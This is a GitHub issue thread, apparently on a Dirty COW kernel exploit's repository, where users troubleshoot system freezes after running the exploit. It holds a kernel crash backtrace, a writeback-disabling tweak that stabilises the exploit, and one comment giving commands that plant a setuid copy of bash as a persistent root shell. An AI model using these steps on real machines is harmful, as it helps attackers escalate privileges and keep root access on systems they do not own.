New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Freezing computer few seconds after use #25

Closed
dcland opened this Issue Oct 24, 2016 · 8 comments

Comments

Projects
None yet
7 participants
@dcland

dcland commented Oct 24, 2016

After using Cowroot successfully on Ubuntu machine with kernel 4.2 (original) my vm are freezing, the same on real host machine, someone have same issues ?

@AydinChavez

This comment has been minimized.

Show comment
Hide comment
@AydinChavez

AydinChavez Oct 24, 2016

Yes, having same issue on kernel 4.4.0-43-generic when testing he poc. It is not related only to cowroot but happens on several exploits (also on my self written one).

AydinChavez commented Oct 24, 2016

Yes, having same issue on kernel 4.4.0-43-generic when testing he poc. It is not related only to cowroot but happens on several exploits (also on my self written one).

@psrok1

This comment has been minimized.

Show comment
Hide comment
@psrok1

psrok1 Oct 24, 2016

Output from crash:

    KERNEL: /usr/lib/debug/boot/vmlinux-4.2.0-30-generic
    DUMPFILE: /var/crash/201610241806/dump.201610241806  [PARTIAL DUMP]
        CPUS: 1
        DATE: Thu Jan  1 01:00:00 1970
      UPTIME: 00:02:01
LOAD AVERAGE: 0.37, 0.25, 0.10
       TASKS: 254
    NODENAME: psrok1-XU-VM
     RELEASE: 4.2.0-30-generic
     VERSION: #36~14.04.1-Ubuntu SMP Fri Feb 26 18:49:23 UTC 2016
     MACHINE: x86_64  (3329 Mhz)
      MEMORY: 2 GB
       PANIC: "kernel BUG at /build/linux-lts-wily-8ENwT0/linux-lts-wily-4.2.0/fs/ext4/inode.c:2350!"
         PID: 28
     COMMAND: "kworker/u2:1"
        TASK: ffff88007caa0000  [THREAD_INFO: ffff88007ca9c000]
         CPU: 0
       STATE: TASK_RUNNING (PANIC)

crash> bt
PID: 28     TASK: ffff88007caa0000  CPU: 0   COMMAND: "kworker/u2:1"
 #0 [ffff88007ca9f590] machine_kexec at ffffffff8105583c
 #1 [ffff88007ca9f5f0] crash_kexec at ffffffff810ff8e3
 #2 [ffff88007ca9f6c0] oops_end at ffffffff81017d1d
 #3 [ffff88007ca9f6f0] die at ffffffff8101823b
 #4 [ffff88007ca9f720] do_trap at ffffffff8101518d
 #5 [ffff88007ca9f780] do_error_trap at ffffffff8101574a
 #6 [ffff88007ca9f840] do_invalid_op at ffffffff81015a30
 #7 [ffff88007ca9f850] invalid_op at ffffffff817bdc5e
    [exception RIP: mpage_prepare_extent_to_map+671]
    RIP: ffffffff8126e75f  RSP: ffff88007ca9f908  RFLAGS: 00010246
    RAX: 01ffff000002007d  RBX: ffff88007ca9f950  RCX: 0000000000000004
    RDX: ffff88007ca9f950  RSI: 0000000000000000  RDI: ffff88007c636678
    RBP: ffff88007ca9f9e8   R8: 0000000000000000   R9: 0000000000000000
    R10: 0000000000000100  R11: 0000000000000220  R12: 0000000000001800
    R13: ffffffffffffffff  R14: ffffea0001ff6180  R15: ffff88007ca9fa88
    ORIG_RAX: ffffffffffffffff  CS: 0010  SS: 0018
 #8 [ffff88007ca9f900] mpage_prepare_extent_to_map at ffffffff8126e645
 #9 [ffff88007ca9f9f0] ext4_writepages at ffffffff8127258d
#10 [ffff88007ca9fb20] do_writepages at ffffffff81182ade
#11 [ffff88007ca9fb30] __writeback_single_inode at ffffffff81216ab5
#12 [ffff88007ca9fb90] writeback_sb_inodes at ffffffff8121720b
#13 [ffff88007ca9fc70] __writeback_inodes_wb at ffffffff81217526
#14 [ffff88007ca9fcc0] wb_writeback at ffffffff81217757
#15 [ffff88007ca9fd40] wb_workfn at ffffffff81217fa1
#16 [ffff88007ca9fe00] process_one_work at ffffffff8108f86e
#17 [ffff88007ca9fe50] worker_thread at ffffffff8108ff1a
#18 [ffff88007ca9fec0] kthread at ffffffff81095499
#19 [ffff88007ca9ff50] ret_from_fork at ffffffff817bc75f

psrok1 commented Oct 24, 2016

Output from crash:

    KERNEL: /usr/lib/debug/boot/vmlinux-4.2.0-30-generic
    DUMPFILE: /var/crash/201610241806/dump.201610241806  [PARTIAL DUMP]
        CPUS: 1
        DATE: Thu Jan  1 01:00:00 1970
      UPTIME: 00:02:01
LOAD AVERAGE: 0.37, 0.25, 0.10
       TASKS: 254
    NODENAME: psrok1-XU-VM
     RELEASE: 4.2.0-30-generic
     VERSION: #36~14.04.1-Ubuntu SMP Fri Feb 26 18:49:23 UTC 2016
     MACHINE: x86_64  (3329 Mhz)
      MEMORY: 2 GB
       PANIC: "kernel BUG at /build/linux-lts-wily-8ENwT0/linux-lts-wily-4.2.0/fs/ext4/inode.c:2350!"
         PID: 28
     COMMAND: "kworker/u2:1"
        TASK: ffff88007caa0000  [THREAD_INFO: ffff88007ca9c000]
         CPU: 0
       STATE: TASK_RUNNING (PANIC)

crash> bt
PID: 28     TASK: ffff88007caa0000  CPU: 0   COMMAND: "kworker/u2:1"
 #0 [ffff88007ca9f590] machine_kexec at ffffffff8105583c
 #1 [ffff88007ca9f5f0] crash_kexec at ffffffff810ff8e3
 #2 [ffff88007ca9f6c0] oops_end at ffffffff81017d1d
 #3 [ffff88007ca9f6f0] die at ffffffff8101823b
 #4 [ffff88007ca9f720] do_trap at ffffffff8101518d
 #5 [ffff88007ca9f780] do_error_trap at ffffffff8101574a
 #6 [ffff88007ca9f840] do_invalid_op at ffffffff81015a30
 #7 [ffff88007ca9f850] invalid_op at ffffffff817bdc5e
    [exception RIP: mpage_prepare_extent_to_map+671]
    RIP: ffffffff8126e75f  RSP: ffff88007ca9f908  RFLAGS: 00010246
    RAX: 01ffff000002007d  RBX: ffff88007ca9f950  RCX: 0000000000000004
    RDX: ffff88007ca9f950  RSI: 0000000000000000  RDI: ffff88007c636678
    RBP: ffff88007ca9f9e8   R8: 0000000000000000   R9: 0000000000000000
    R10: 0000000000000100  R11: 0000000000000220  R12: 0000000000001800
    R13: ffffffffffffffff  R14: ffffea0001ff6180  R15: ffff88007ca9fa88
    ORIG_RAX: ffffffffffffffff  CS: 0010  SS: 0018
 #8 [ffff88007ca9f900] mpage_prepare_extent_to_map at ffffffff8126e645
 #9 [ffff88007ca9f9f0] ext4_writepages at ffffffff8127258d
#10 [ffff88007ca9fb20] do_writepages at ffffffff81182ade
#11 [ffff88007ca9fb30] __writeback_single_inode at ffffffff81216ab5
#12 [ffff88007ca9fb90] writeback_sb_inodes at ffffffff8121720b
#13 [ffff88007ca9fc70] __writeback_inodes_wb at ffffffff81217526
#14 [ffff88007ca9fcc0] wb_writeback at ffffffff81217757
#15 [ffff88007ca9fd40] wb_workfn at ffffffff81217fa1
#16 [ffff88007ca9fe00] process_one_work at ffffffff8108f86e
#17 [ffff88007ca9fe50] worker_thread at ffffffff8108ff1a
#18 [ffff88007ca9fec0] kthread at ffffffff81095499
#19 [ffff88007ca9ff50] ret_from_fork at ffffffff817bc75f
@psrok1

This comment has been minimized.

Show comment
Hide comment
@psrok1

psrok1 Oct 24, 2016

It seems that turning off periodic writeback makes exploit stable.
echo 0 > /proc/sys/vm/dirty_writeback_centisecs

psrok1 commented Oct 24, 2016

It seems that turning off periodic writeback makes exploit stable.
echo 0 > /proc/sys/vm/dirty_writeback_centisecs

@dirtycow dirtycow added the bug label Oct 24, 2016

@auraltension

This comment has been minimized.

Show comment
Hide comment
@auraltension

auraltension Oct 25, 2016

To add to this, if you're in a system which has SELinux enforcing throw this into the shell immediately after exploit success to gain a persistent shell and hopefully avoid the crash (back up /etc/gshadow first if you can!):

cp /bin/bash /etc/gshadow && chmod 04755 /etc/gshadow
exit
/etc/gshadow -ipc 'echo 0 > /proc/sys/vm/dirty_writeback_centisecs'
/etc/gshadow -ip

auraltension commented Oct 25, 2016

To add to this, if you're in a system which has SELinux enforcing throw this into the shell immediately after exploit success to gain a persistent shell and hopefully avoid the crash (back up /etc/gshadow first if you can!):

cp /bin/bash /etc/gshadow && chmod 04755 /etc/gshadow
exit
/etc/gshadow -ipc 'echo 0 > /proc/sys/vm/dirty_writeback_centisecs'
/etc/gshadow -ip

@henshin henshin referenced this issue Oct 26, 2016

Closed

CVE-2016-5195 - DirtyCow privilege escalation #7476

0 of 5 tasks complete
@dirtycow

This comment has been minimized.

Show comment
Hide comment
@dirtycow

dirtycow Oct 27, 2016

Owner

Linked to @auraltension comment from the PoC wiki.

Owner

dirtycow commented Oct 27, 2016

Linked to @auraltension comment from the PoC wiki.

@dirtycow dirtycow closed this Oct 27, 2016

@dirtycow

This comment has been minimized.

Show comment
Hide comment
@dirtycow

dirtycow Oct 27, 2016

Owner

Thank you

Owner

dirtycow commented Oct 27, 2016

Thank you

@arashkgpt

This comment has been minimized.

Show comment
Hide comment
@arashkgpt

arashkgpt Nov 5, 2016

I have tried echo 0 > /proc/sys/vm/dirty_writeback_centisecs and it works great at first. The problem is with rebooting the system! For some weird reason in reboot the system crashes like it did without executing echo 0 > /proc/sys/vm/dirty_writeback_centisecs!

Any help on this?

arashkgpt commented Nov 5, 2016

I have tried echo 0 > /proc/sys/vm/dirty_writeback_centisecs and it works great at first. The problem is with rebooting the system! For some weird reason in reboot the system crashes like it did without executing echo 0 > /proc/sys/vm/dirty_writeback_centisecs!

Any help on this?

@X-HAT

This comment has been minimized.

Show comment
Hide comment
@X-HAT

X-HAT Aug 6, 2017

Hello everyone,
I'm facing a weird problem after runing the exploit i see that a new user has been added the /etc/passwd file "firefart" after that my server crash and reboot. when i check again the /etc/passwd. the file has become normal again.

X-HAT commented Aug 6, 2017

Hello everyone,
I'm facing a weird problem after runing the exploit i see that a new user has been added the /etc/passwd file "firefart" after that my server crash and reboot. when i check again the /etc/passwd. the file has become normal again.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment